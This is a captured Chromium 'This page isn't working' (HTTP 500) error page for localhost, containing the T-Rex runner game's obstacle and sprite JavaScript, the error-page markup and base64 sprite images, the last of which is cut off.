Obstacle.types = Runner.spriteDefinition.OBSTACLES;
this.adjustObstacleSpeed();
Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;
BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;
this.horizonLines = [];
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.reset();
},
/**
* @param {number} deltaTime
* @param {number} currentSpeed
* @param {boolean} updateObstacles Used as an override to prevent
* the obstacles from being updated / added. This happens in the
* ease in section.
* @param {boolean} showNightMode Night mode activated.
*/
update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
this.runningTime += deltaTime;
if (this.altGameModeActive) {
this.updateBackgroundEls(deltaTime, currentSpeed);
}
for (let i = 0; i < this.horizonLines.length; i++) {
this.horizonLines[i].update(deltaTime, currentSpeed);
}
if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
this.nightMode.update(showNightMode);
this.updateClouds(deltaTime, currentSpeed);
}
if (updateObstacles) {
this.updateObstacles(deltaTime, currentSpeed);
}
},
/**
* Update background element positions. Also handles creating new elements.
* @param {number} elSpeed
* @param {Array<Object>} bgElArray
* @param {number} maxBgEl
* @param {Function} bgElAddFunction
* @param {number} frequency
*/
updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
const numElements = bgElArray.length;
if (numElements) {
for (let i = numElements - 1; i >= 0; i--) {
bgElArray[i].update(elSpeed);
}
const lastEl = bgElArray[numElements - 1];
// Check for adding a new element.
if (numElements < maxBgEl &&
(this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
frequency > Math.random()) {
bgElAddFunction();
}
} else {
bgElAddFunction();
}
},
/**
* Update the cloud positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateClouds(deltaTime, speed) {
const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
this.updateBackgroundEl(
elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
this.cloudFrequency);
// Remove expired elements.
this.clouds = this.clouds.filter((obj) => !obj.remove);
},
/**
* Update the background element positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateBackgroundEls(deltaTime, speed) {
this.updateBackgroundEl(
deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
this.addBackgroundEl.bind(this), this.cloudFrequency);
// Remove expired elements.
this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
},
/**
* Update the obstacle positions.
* @param {number} deltaTime
* @param {number} currentSpeed
*/
updateObstacles(deltaTime, currentSpeed) {
const updatedObstacles = this.obstacles.slice(0);
for (let i = 0; i < this.obstacles.length; i++) {
const obstacle = this.obstacles[i];
obstacle.update(deltaTime, currentSpeed);
// Clean up existing obstacles.
if (obstacle.remove) {
updatedObstacles.shift();
}
}
this.obstacles = updatedObstacles;
if (this.obstacles.length > 0) {
const lastObstacle = this.obstacles[this.obstacles.length - 1];
if (lastObstacle && !lastObstacle.followingObstacleCreated &&
lastObstacle.isVisible() &&
(lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
this.dimensions.WIDTH) {
this.addNewObstacle(currentSpeed);
lastObstacle.followingObstacleCreated = true;
}
} else {
// Create new obstacles.
this.addNewObstacle(currentSpeed);
}
},
removeFirstObstacle() {
this.obstacles.shift();
},
/**
* Add a new obstacle.
* @param {number} currentSpeed
*/
addNewObstacle(currentSpeed) {
const obstacleCount =
Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
(Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
this.altGameModeActive) ?
Obstacle.types.length - 1 :
Obstacle.types.length - 2;
const obstacleTypeIndex =
obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
const obstacleType = Obstacle.types[obstacleTypeIndex];
// Check for multiples of the same type of obstacle.
// Also check obstacle is available at current speed.
if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
currentSpeed < obstacleType.minSpeed) {
this.addNewObstacle(currentSpeed);
} else {
const obstacleSpritePos = this.spritePos[obstacleType.type];
this.obstacles.push(new Obstacle(
this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
this.gapCoefficient, currentSpeed, obstacleType.width,
this.altGameModeActive));
this.obstacleHistory.unshift(obstacleType.type);
if (this.obstacleHistory.length > 1) {
this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
}
}
},
/**
* Returns whether the previous two obstacles are the same as the next one.
* Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
* @return {boolean}
*/
duplicateObstacleCheck(nextObstacleType) {
let duplicateCount = 0;
for (let i = 0; i < this.obstacleHistory.length; i++) {
duplicateCount =
this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
}
return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
},
/**
* Reset the horizon layer.
* Remove existing obstacles and reposition the horizon line.
*/
reset() {
this.obstacles = [];
for (let l = 0; l < this.horizonLines.length; l++) {
this.horizonLines[l].reset();
}
this.nightMode.reset();
},
/**
* Update the canvas width and scaling.
* @param {number} width Canvas width.
* @param {number} height Canvas height.
*/
resize(width, height) {
this.canvas.width = width;
this.canvas.height = height;
},
/**
* Add a new cloud to the horizon.
*/
addCloud() {
this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
this.dimensions.WIDTH));
},
/**
* Add a random background element to the horizon.
*/
addBackgroundEl() {
const backgroundElTypes =
Object.keys(Runner.spriteDefinition.BACKGROUND_EL);
if (backgroundElTypes.length > 0) {
let index = getRandomNum(0, backgroundElTypes.length - 1);
let type = backgroundElTypes[index];
// Add variation if available.
while (type == this.lastEl && backgroundElTypes.length > 1) {
index = getRandomNum(0, backgroundElTypes.length - 1);
type = backgroundElTypes[index];
}
this.lastEl = type;
this.backgroundEls.push(new BackgroundEl(
this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
type));
}
},
};
</script>
<script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/* @const
* Add matching sprite definition and config to Runner.spriteDefinitionByType.
*/
const GAME_TYPE = [];
/**
* Obstacle definitions.
* minGap: minimum pixel space between obstacles.
* multipleSpeed: Speed at which multiples are allowed.
* speedOffset: speed faster / slower than the horizon.
* minSpeed: Minimum speed which the obstacle can make an appearance.
*
* @typedef {{
* type: string,
* width: number,
* height: number,
* yPos: number,
* multipleSpeed: number,
* minGap: number,
* minSpeed: number,
* collisionBoxes: Array<CollisionBox>,
* }}
*/
let ObstacleType;
/**
* T-Rex runner sprite definitions.
*/
Runner.spriteDefinitionByType = {
original: {
LDPI: {
BACKGROUND_EL: {x: 86, y: 2},
CACTUS_LARGE: {x: 332, y: 2},
CACTUS_SMALL: {x: 228, y: 2},
OBSTACLE_2: {x: 332, y: 2},
OBSTACLE: {x: 228, y: 2},
CLOUD: {x: 86, y: 2},
HORIZON: {x: 2, y: 54},
MOON: {x: 484, y: 2},
PTERODACTYL: {x: 134, y: 2},
RESTART: {x: 2, y: 68},
TEXT_SPRITE: {x: 655, y: 2},
TREX: {x: 848, y: 2},
STAR: {x: 645, y: 2},
COLLECTABLE: {x: 2, y: 2},
ALT_GAME_END: {x: 121, y: 2},
},
HDPI: {
BACKGROUND_EL: {x: 166, y: 2},
CACTUS_LARGE: {x: 652, y: 2},
CACTUS_SMALL: {x: 446, y: 2},
OBSTACLE_2: {x: 652, y: 2},
OBSTACLE: {x: 446, y: 2},
CLOUD: {x: 166, y: 2},
HORIZON: {x: 2, y: 104},
MOON: {x: 954, y: 2},
PTERODACTYL: {x: 260, y: 2},
RESTART: {x: 2, y: 130},
TEXT_SPRITE: {x: 1294, y: 2},
TREX: {x: 1678, y: 2},
STAR: {x: 1276, y: 2},
COLLECTABLE: {x: 4, y: 4},
ALT_GAME_END: {x: 242, y: 4},
},
MAX_GAP_COEFFICIENT: 1.5,
MAX_OBSTACLE_LENGTH: 3,
HAS_CLOUDS: 1,
BOTTOM_PAD: 10,
TREX: {
WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
COLLISION_BOXES: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
},
/** @type {Array<ObstacleType>} */
OBSTACLES: [
{
type: 'CACTUS_SMALL',
width: 17,
height: 35,
yPos: 105,
multipleSpeed: 4,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 7, 5, 27),
new CollisionBox(4, 0, 6, 34),
new CollisionBox(10, 4, 7, 14),
],
},
{
type: 'CACTUS_LARGE',
width: 25,
height: 50,
yPos: 90,
multipleSpeed: 7,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 12, 7, 38),
new CollisionBox(8, 0, 7, 49),
new CollisionBox(13, 10, 10, 38),
],
},
{
type: 'PTERODACTYL',
width: 46,
height: 40,
yPos: [100, 75, 50], // Variable height.
yPosMobile: [100, 50], // Variable height mobile.
multipleSpeed: 999,
minSpeed: 8.5,
minGap: 150,
collisionBoxes: [
new CollisionBox(15, 15, 16, 5),
new CollisionBox(18, 21, 24, 6),
new CollisionBox(2, 14, 4, 3),
new CollisionBox(6, 10, 4, 7),
new CollisionBox(10, 8, 6, 9),
],
numFrames: 2,
frameRate: 1000 / 6,
speedOffset: .8,
},
],
BACKGROUND_EL: {
'CLOUD': {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
OFFSET: 4,
WIDTH: 46,
X_POS: 1,
Y_POS: 120,
},
},
BACKGROUND_EL_CONFIG: {
MAX_BG_ELS: 1,
MAX_GAP: 400,
MIN_GAP: 100,
POS: 0,
SPEED: 0.5,
Y_POS: 125,
},
LINES: [
{SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
],
},
};
</script>
</head>
<body id="t" class="neterror" style="font-family: "sans", Arial, sans-serif; font-size: 75%" jstcache="0">
<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
<div id="main-content" jstcache="0">
<div class="icon icon-generic" jstcache="0"></div>
<div id="main-message" jstcache="0">
<h1 jstcache="0">
<span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
<a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
</h1>
<p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
<!--The suggestion list and error code are normally presented inline,
in which case error-information-popup-* divs have no effect. When
error-information-popup-container has the use-popup-container class, this
information is provided in a popup instead.-->
<div id="error-information-popup-container" jstcache="0">
<div id="error-information-popup" jstcache="0">
<div id="error-information-popup-box" jstcache="0">
<div id="error-information-popup-content" jstcache="0">
<div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList && suggestionsSummaryList.length)" jstcache="16">
<p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
<ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
<li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
</ul>
</div>
<div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
<p id="error-information-popup-close" jstcache="0">
<a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
</p>
</div>
</div>
</div>
</div>
<div id="download-links-wrapper" class="hidden" jstcache="0">
<div id="download-link-wrapper" jstcache="0">
<a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</a>
</div>
<div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
<div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
</div>
</div>
</div>
<div id="save-page-for-later-button" class="hidden" jstcache="0">
<a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
</a>
</div>
<div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
</div>
<div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
<div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
<div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
</div>
<div jstcache="0">
<div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
</div>
<div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
</div>
</div>
</div>
<div id="offline-content-suggestions" jstcache="0"></div>
<div id="offline-content-list-action" jstcache="0">
<a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
</a>
</div>
</div>
</div>
</div>
<div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
<div id="control-buttons" jstcache="0">
<button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
<button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</button>
</div>
<button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails && suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
</div>
<div id="details" class="hidden" jstcache="0">
<div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
<div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
<div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
</div>
</div>
</div>
<div id="sub-frame-error" jstcache="0">
<!-- Show details when hovering over the icon, in case the details are
hidden because they're too large. -->
<div class="icon" jstcache="0"></div>
<div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
</div>
<div id="offline-resources" jstcache="0">
<img id="offline-resources-1x" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABNEAAABkBAMAAABayruYAAAAJFBMVEUAAADa2tr/////9/e6urpTU1O5ubn39/f///9ZWVlfX1/z8/O/OctmAAAACXRSTlMA//////////ZO3iNwAAALPElEQVR4AezdwY6bShMF4GP6krX9Bqgk9kiI/SzyAAir9lnlFfL6N26OWhXckDae9mClj/L7L1czMMbfbYDMOCgpKSkpwelyRmIEd6mEhTQpDabvu1C7vsf2ALM6cLlctquVtq2YDwC1jrfHEVDV8fagvln7p7XOlUKVi9SKWrncY5GQnN0DhLuZ1HZJa7WZPemU0GCc6hUMBtVue4BZHeD3v1caTn9KIyiPSimIvjw8SqtDVaQlvKrT2e91JEVUsEilOtGTNkkNUglWnFLX1oDrWSwGSOZ8V91CRczFDnBkWVEaKG0WBISZDPOTeeD2MIZK/Sz4YESUkbxdRhlkTXTrJ74d+aQ1bFRPSRvYjUuLmLOKmNjIch3/fQesGygrHW/SyO2WWzWmSyvSHjpVE1WJSWsIqwJk0agmSmsb39gnzbGKSaOXyJTGKmFSA6vvv/Nh3NQaDpyjPWaCp22mt0+ahkj+LlTzU4tu3Ujjrt4nrZoIq20qlT8brW/4k7S5sQGq73ZJO+M5aawjc5pHRmmYLxMozY/64llp8oAeeaQrMWkir5EGnSPLg8aZ6OaIrJ3n8WsX0lptPCy5ldOiYaT5xro0p9cEaa7nAENd99DOrEzIK0btxOrDSKMl0JeyCgugtr2DSWunmDR2Xy7tdF7c7MgmrfmLNDa7LWmOX9pllzbSDac0UBqrpTQOHOboeQBpIWJOjU3Oq8dItu+pNZRWLaWFBg+nnyBt6FhxIMIrVGxfFqGujcuDj/lkf6S0EeYC9E5aGDiUtAMcPUNkMZ8xl/Oj0qqJ0tomSFs2xDfkaWlOr1FpZzwrzU5qP3jn1px/qeroQUGVDyR2q/hs9X5auSI44T5nLheTJkppdnDpiNJCY1ta3wVQcB2lceBrpH3Dj29F2qdKO50vEWunl0qb6RDUcO0ojQOGYFya6++gnVlRGiubIO1CXgtq+IFPTZF2AeJvBBeT+Ffz8TlpvJnhZTleSTo+NwOB4Iq0QbvPl/btJz41Rdpanpemf5EWbmZQVheXZgei0m7Fp0v7+Ts/APteqI6savX/Y22XCa3NJVlH9qrP092DSROfv3qUOXdt/t8z0iyo3rjplgMJ0ugkemPjHCobnKK3PPiFnNOOL61Iq95cGq89rZ9aQ6l1MKNYhLqi9XKZX79if0EokqNrk9FZwtZj0EJks01pamYztFYaSz7qXmmue5U0f+0Zs0FpWqR9rbSpIqwGFWEpG0Fau1/a4Fn1r5rTskv7pV5aJeYwA4hKli4UjFXmh2LhGho8mujW1yNzlFE+R7QdpDWUNgGoOHmxQWnazP090nr/R/UV0sLfe2ryGVfcZB1Zkms+qLRKhGki0iTkC6VNglmaNKC0KTSCNAhnvf3SOnT5pW3pwlgnzWnLqwOY9ghKE2nDzuQ7laUL81KMtHlYDC9TtpNIY+xJsrTl1pmnD6I8OeNE1gAsGzZgpIGz3pa0fkvaFe7qpfX5pH18fPyj0sKX6SRipTHKiHyJtIrS0Fppk4ANwgvSpNmW5hOXdu078Cab5pP23/cZx9oZV6I0qI5RaVC9SVO+dwyd5OlCNXKHQ9QsTF5qy8nY0zRp0a2nUiPO1bY9O6O0RaO10hpsSHPb0oD80vzP3AKqutSVfD+NITS7JAnrQaWRFeulNA35ImmVzLAgbZBmGySnKdIwJEjDkH1Oe4U0+94JnWTqQlUNNARpd5napTob2QYU33qqNEbifUn+3ahbK0Ga25bm/JzGhTKep+VOTmlFWpMiDcOmtKEbtLs9aNZrz9dIY+z5fKYu1MTc5dDVTBKlliBtsfWUyNpXiG2nSpvENHiJqT1B9To/dIDjQFSa0+ugvV5d32f7G/Yi7d2lAVYaQ0zMFeAgB0jwThrglDYzSMMXSIOPZOnGpW1Tm5pK2qelIS2yeptXGOB5aZ0zNaXZAaqLSKPNIm21W6TRCakMpqY0/8QNlmNcWpfj9wheElEbydxFVBpE1qVhSS2FkOyTlrDsPmlGVxfQXPuO0swAh1gupdHm+0uT3F1EoGWXJjiANCLqezuJMYMZIEGWVhoHcvwW3uupSfYurLRtapPc0iBOTXywFtkpTZBJGvp+CCdmvJIEYwZIkKWRlu932I8vrUjL8KlWhuDwhtLSr+3zdxGDZqnxdi2LBlhSEwlF+qv6XGkQaWZyImmNHZ815HojLfETYFguoeG0+gkwx5ZWpO3Krk+14tVCzk+1ej01kVd0EYHmNf15a2NOw1FLTSBM6qtKjajgYNJ4upb3k/r+TWki7SRr0iYRlX9Kmh/su8yfPvqa8MglqiKpXeGBzXYlaQ2khntpLX9AyEuLsOFWU+XYrSdHcDxpbtAuDGT6ROV/SVollNZULdcd32oSHZ7OcevKvKc0WGmZPiX+ZRFVgaikd3lgW1JLWsOs7F6a/3yLBmvSBBAh5/2vKn/ySztyji8NVZAW1m1CaXNQpL2vNOFDWjcSEUldAxQxaSLSTg3WpBHYQ9IERdpqijQmLi09qkXaYY+eKqndeBLXAFU+RA6gTcKqd7yq40hzFlS3MRCX1uHoKdJqfG2c86AGb6Wbf1b7ejcAx4GINA68c8Jvhqd240lbw3p4hra66vSoLrZ+gAyDhqnLXZUzlB0gwXnAWWl2IH+KtPeOc/3vdCCoWxYDJEhfHVz4LTwzkJKSEmetDN1ygARvA47/7OfQud4OJKWkxFJxCQOh5pP3S0lJSUlJSYmq4sipVcdF/Y4pqcfbnwNHgXFRv2FKagWgOG74D97a+h1Tonw8ZgiLjxo6nxQteV1GzmzK8NlxYkyMz/lAydGmEEVJSe7Mc0dJrY8uPyaedO4PN5I96Zsr+yp9c6ppKwKjSIuurYAZk48wy4xJb7COO2jU3CIXKPsqcV8dMnXaEjuiO76DL9xLZV/Va9+T6oP/LSVN3yO3wMXzRLEnY9lXyUk8dOquw8R4vHNG1T3fmCa90LKv0vfV/+2dQW6jQBBFEascwyqpL9RSiZO0ejvL4QZDbmB8g/hy0zXwRUPZ0QiRDfwnJ5aesstTCdNNm7yAEEJaWXE7ztQQEnRFPM6Q04+orftuwLS64XaUacjpR5Q7KyQuRirMBt0QjzLNmSHyr7TNSVuFOJuPYRjGifsw/GFp+yCtqBHlnemH4XOcKdH9Ymm7IKIT8eYNShvB/X1p3cYY2RlNznSXKI20CgQmrk2PkWZ8U1remtrBqDddukJpRNxHvxDDaqj1w7hwn0pLKbl5lfOL0pIrzZkuX6A00sYqDwy5sBpq/edYMZWWsxWTC3VpaWsK6o12G5NgmhPD0uRlaQFmKu05Pp6FL5TW5ZxRydSMqbQ1BXXGulqbDNOcFtKqqMoM7q5FM6Eq7WGlGShNp5lmoBm0B4MQVwYzbW0STENOS1AJUTQKLsuso2ARiBRnprfKvsbCo7zdUVpeLrLiG5O6vDX22pguw5y0NIKurDIJqorSROyXvU+ljVaaUZeWXFfedMmX5kyXLlAaCXNkWpcWA0JAaV/PbWkp/09pzmjypek1SmNp0ZWmMEtpoytNfUU7zTVLY2nK0sjPlKa+NGFp5AdKc58INE4/LI0cWloUe6E0TDjxpT1YGtmLaEFEcD8NJkiA6S2xmRGlZYBmDjENOftWDtFCrEyU9WrUBFajsIqElaajTEOuVFpQZKDx3Qr7Mozwx4eYhpyXsJR2m4wsGbzeNcQ9t2QHLf7pKjD1SPM7IVka2UUruKshMMGEISyNHMe8mh6lMrhuc88RDCyN7Gba9xhvlYlaBJ/CI8fSBg0qt9pIEYvpkdrdRhpLI57dXw66Mh+/K3haAuEJMOQ88FQrsoO/etICpT2ul1QAAAAASUVORK5CYII=" jstcache="0">
<img id="offline-resources-2x" src="data:image/png;base64,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